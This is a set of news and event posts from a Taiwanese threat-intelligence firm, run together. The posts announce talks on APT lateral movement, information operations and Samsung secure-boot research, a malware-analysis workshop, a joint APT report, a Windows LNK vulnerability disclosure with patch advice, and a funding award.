Our cyberthreat analysts Che Chang and Silvia Yeh will share their findings on China’s Information Operations on social media platforms.

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **CyberCrime | Operation I am Tom: How APT Actors Move Laterally in Corporate Networks**

Our CTO Charles Li and malware researcher Aragorn Tseng will present lateral movement methods to penetrate corporate network environments and techniques to bypass security monitoring systems.

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **Open Talk | Cyber Cold War and Tensions – The Critical Infrastructures Are Under Attack**

Our CEO, Sung-ting Tsai (TT), will share the experience we have learned from the security incidents in Taiwan, especially for the attacks targeting critical infrastructures.

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### Workshop: APT Malware Analysis 101

TeamT5 and our partner, Terilogy Worx Corporation, co-host a virtual workshop on CODE BLUE 2020. Our Lab Engine and Global Support team will demonstrate basic techniques of reverse-engineering malware with our threat hunting tool - ThreatSonar. This workshop is available in English and Japanese (consecutive interpretation).

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **Speakers**
 - TeamT5 Lab Engine & Global Support
 - Terilogy Worx Corporation, Director, Business development, Yoichi Matsuura

- **Abstract**

This workshop will teach you about the basic technique of reverse-engineering malware, and how to analyze it according to OSINT. We will focus on two of the most dangerous malware this year: BigPooh (LODEINFO) and LNCookie (TSCookie Linux version) based on both Linux and Windows OS. You will learn a lot of practical concepts when analyzing APT malware. Furthermore, we will also show you how to proceed with analysis and threat hunting by using our simple/light-weight tool - ThreatSonar.

- **Location**: via Google Meet. Registration form on CODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk).

![register2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603770757/register2_ef67e87cf1.png)
_Registration Guide for TeamT5 Workshop_

 

### What’s CODE BLUE?

CODE BLUE is Japan’s largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world’s top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.

More information on CODE BLUE 2020 [Official Website](https://codeblue.jp/2020/en/).

 

*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

TeamT5 Exhibits at "CODE BLUE 2020" Virtual Event

We were glad to announce that TeamT5 was again accepted at Black Hat USA. And this time, our vulnerability research team, D39, presented their latest exploit research on Samsung S10 secure bootloader at the Black Hat Briefings. We were very honored to share our research findings with researchers and security experts all over the world in this annual flagship conference.

![BHUSA_cover](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596699298/BHUSA_cover_48fcf0b266.jpg)
_TeamT5's vulnerability researcher presented on Black Hat USA 2020._

## About D39's Vulnerability Research Finding

D39 has been focusing on vulnerability research and has identified several critical security flaws. We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. In Black Hat USA 2020, we elaborated how did we discover and exploit the vulnerabilities in detail, demonstrated the exploit on a Samsung Galaxy S10 smartphone, and had a discussion on the possible impact of these vulnerabilities.

![Disclosure timeline](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596699297/Disclosure_timeline_422975e76a.jpg)
_Timeline of the vulnerability disclosure, patch release and assignment of SVE IDs._

## About Black Hat
Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat USA 2020 went fully virtual this year, held over the same dates from 1 to 6 August, in light of the coronavirus pandemic.

*Image courtesy of Black Hat from https://www.blackhat.com/us-20/

Black Hat’s Talk: D39 Shares Their Research on Breaking Samsung Secure Boot at Black Hat USA 2020

**Time** | Tuesday, 4 August 2020, 3:00 - 4:00 pm (GMT+8)

**Registration** | Please contact our sales and get the registration link: <sales@teamt5.org>

 

Taiwan's 2018 municipal elections and 2020 general elections were both under the great threat of Information Operation (InfoOp). To influence the outcome of elections, state-backed threat actors have exploited the features of social media environment to conduct InfoOps, which involves the spread of disinformation, hate speech, and propaganda. Their operations had polarized and manipulated the voters, which in turn polluted the digital information ecosystem.

Join TeamT5's exclusive live webinar, and hear our cyber threat intelligence analysts, Che Chang and Silvia Yeh, to grasp the basic understanding of InfoOp in Chinese-language cyberspace, and how China conducts InfoOp on social media platforms.

**Register for this webinar to discover:**

- What is Information Operation (InfoOp) and how does it endanger the users on social media platforms?
- How do we contribute to the fight against InfoOp in 2020 Taiwan Presidential Election?
- How does China conduct InfoOp in pursuit of its political interest?

*Note: This live webinar will be offered in English only.

 

####Speakers
**Che Chang** is a Cyber Threat Analyst and the co-author of "TeamT5 Information Whitepaper." He focuses on underground markets research and state-sponsored Information Operation (InfoOp). Che is the invited speaker of many global and regional conferences, including 2020 April vGCTF workshop on Combatting COVID-19 Disinformation, 2019 Cybersec in Taiwan, a closed-door meeting of Taiwan Academia Sinica, etc.

**Silvia Yeh** is a Cyber Threat Analyst at TeamT5 Cyber Intelligence Team and the co-author of "TeamT5 Information Whitepaper." She focuses on issues related to Information Operations (InfoOps) and is currently responsible for cyber policies analysis of China and other Asia-Pacific countries.

Live Webinar: Dissecting Information Operation in Chinese-language Cyberspace

TeamT5 and Macnica Networks have published our joint research on APT attacks targeting Japan over the past year. In this collaborative research, we provide valuable insight into four advanced persistent threat (APT) groups and actors. The full report will first be available in Japanese and can be accessed at Macnica Networks' website.
 
The APT groups' highlighted in this joint project were believed to have been launching cyber espionage campaigns elsewhere in the world. To enhance APT defense strategies, we take a closer look at the four APT groups, including DarkHotel, Huapi (BlackTech), Nian (Tick), and one unclassified backdoor LODEINFO. These APT groups have been threatening crucial sectors in Japan, such as government, military and defense, manufacturing, telecommunication, education, media, and etc.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590655880/APT_Attack_Timeline_2019_2da7de1832.png)
_The attack timeline of the APT groups' campaigns in Japan in 2019._


## About Macnica Networks
Macnica Networks is one of the largest system integrators (SI) in Japan. As a leading network distributor, it provides a wide range of advanced network products and information technology to government offices, educational institutions, and general companies.

To access the full report, please visit: [https://www.macnica.net/mpressioncss/feature_06.html/](https://www.macnica.net/mpressioncss/feature_06.html/ "https://www.macnica.net/mpressioncss/feature_06.html/")

TeamT5 and Macnica Networks Release Joint Project on 2019's APT Attacks in Japan

TeamT5's ThreatVision APT identification engine is now integrating with PolySwarm malware analysis platform to help power the growing crowdsourced malware analysis marketplace.

PolySwarm is a crowdsourced malware analysis platform specialized in new and emergent threats. It is powered by a network of research-driven engines, like TeamT5, which are highly specialized and focused on detecting the latest malware. Unlike in other multiscanners, engines in PolySwarm are incentivized to respond just when confident, and are compensated based on performance, improving signal-to-noise ratio and reducing false positives. Multiscanning, threat scoring and hunting in a single platform give analysts a novel tool to detect, analyze and respond to threats.

TeamT5's alliance with PolySwarm will be beneficial to our specialized research in APT intelligence in Asia-Pacific. And we as a team will definitely bring the experience of our clients to the next level.

With TeamT5's solid technical background and frontline expertise, we provides more in-depth information about the malware, such as threat level, adversary and linkage discovery information, to help our clients dealing with the APT attacks they are facing from all over the world.

TeamT5's ThreatVision Cyber Threat Intelligence Platform Joins PolySwarm Malware Analysis Marketplace

## TeamT5 Lab Found a Critical Vulnerability in Microsoft Windows

Our senior security researcher Shih-Fong Peng (@_L4ys), has found a critical vulnerability in Microsoft Windows. This vulnerability is officially defined by MITRE as CVE-2019-1188 (LNK Remote Code Execution Vulnerability).

TeamT5 suggests our clients to update this patch immediately. This vulnerability could allow attackers obtain privilege of the local user. Users should be vigilant of any suspicious removable drive or remote share for holding malicious .LNK file. If the .LNK file is parsed by any application, it could allow remote code execution and make system under the control of attackers.

- More Details of CVE-2019-1188:

https://msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1188

- More Detail of the Microsoft Patches in August 2019:

https://msrc.microsoft.com/en-us/security-guidance

*photo courtesy of: pixabay.com

TeamT5 Lab Found a Critical Vulnerability in Microsoft Windows

## **TeamT5's technology "ThreatSonar" wins the finals of MOST's "Formosa Grand Challenge 2: S-FUND", taking home TWD 5 million in prize money as start-up funds.**

_(Reference: www.most.gov.tw)_

TeamT5 has won the final competition of the "Formosa Grand Challenge 2: S-FUND", which was held by Ministry of Science and Technology (MOST) and jointly implemented by the Science & Technology Policy Research and Information Center (STPI) and the National Center for High-performance Computing (NCHC). TeamT5 was awarded TWD 5 million and received praises from the review board. The Ministry of Science and Technology looks forward to their more completed business models in addition to advancing their technologies further and having a place in the field of international information security protection.

The "Formosa Grand Challenge 2: S-FUND" competition was held from May 2015, offering challenges for companies to solve IT security issues. Participating teams are free to propose solutions to subjects such as "Assisting in the resolution of potential threats", "Improving IoT security", "AI security threats and defense technology development", and "Other applications of cybersecurity technology". More than 20 teams registered to participate in the competition. The TeamT5 security team has performed with their AI developed technology "ThreatSonar Endpoint Intelligent Threat Identification Platform" and finally won the competition after going through all the stages over the past year.

From:

The Ministry of Science and Technology

https://www.most.gov.tw/folksonomy/detail?subSite=main&article_uid=30d3f20d-2fd0-4b0e-b7ba-2ead02e0e651&menu_id=9aa56881-8df0-4eb6-a5a7-32a2f72826ff&l=CH&utm_source=rss

The Science & Technology Policy Research and Information Center (STPI)

https://www.stpi.narl.org.tw/public/show?id=4b1141646ad4bbb2016b3f14bac56694


TeamT5 Wins the "Formosa Grand Challenge 2: S-FUND" Final

## TeamT5 贏得科技部「科技大擂台2：AI資安攻防戰」決賽大獎 

由科技部主辦，國家實驗研究院科技政策研究與資訊中心與國家高速網路與計算中心共同執行的「科技大擂台2：AI資安攻防戰」決賽，6月9日於華山文化創意產業園區舉辦。

科技部此次舉辦AI資安競賽，目標是希望扶植優秀台灣團隊、激發資安科技的創新應用。比賽共有20多個團隊參與，經過一年的選拔，最後共有3個團隊進入決賽，由「杜浦數位安全」以「端點智能威脅鑑識平台」之技術，獲得評審團一致推薦頒發獎金500萬元。該公司研究威脅情資並完整掌握，提供有效的網路威脅解決方案。

科技部強調，晉級決賽的三組隊伍皆十分優秀，各自的研發成果也有初步的市場成績，期待他們未來除了在技術上能更精進之外，也能建立更完整的商業模式，在國際資訊安全防護領域占有一席之地。


相關資訊:

[科技部: 邁向更安全的數位世界 -科技大擂台2：AI資安攻防戰決賽成果揭曉](https://www.most.gov.tw/folksonomy/detail?subSite=main&article_uid=30d3f20d-2fd0-4b0e-b7ba-2ead02e0e651&menu_id=9aa56881-8df0-4eb6-a5a7-32a2f72826ff&l=CH&utm_source=rss)

[國家實驗研究院科技政策研究與資訊中心: 邁向更安全的數位世界 AI資安攻防戰決賽成果揭曉](https://www.stpi.narl.org.tw/public/show?id=4b1141646ad4bbb2016b3f14bac56694)

PersistentCyber Threat Hunters

SOLUTION

Designed for APT & Ransomware Protection

An Engine to Hunt down Intruders

A Portal to See Through the Chaos

PARTNERS

Blog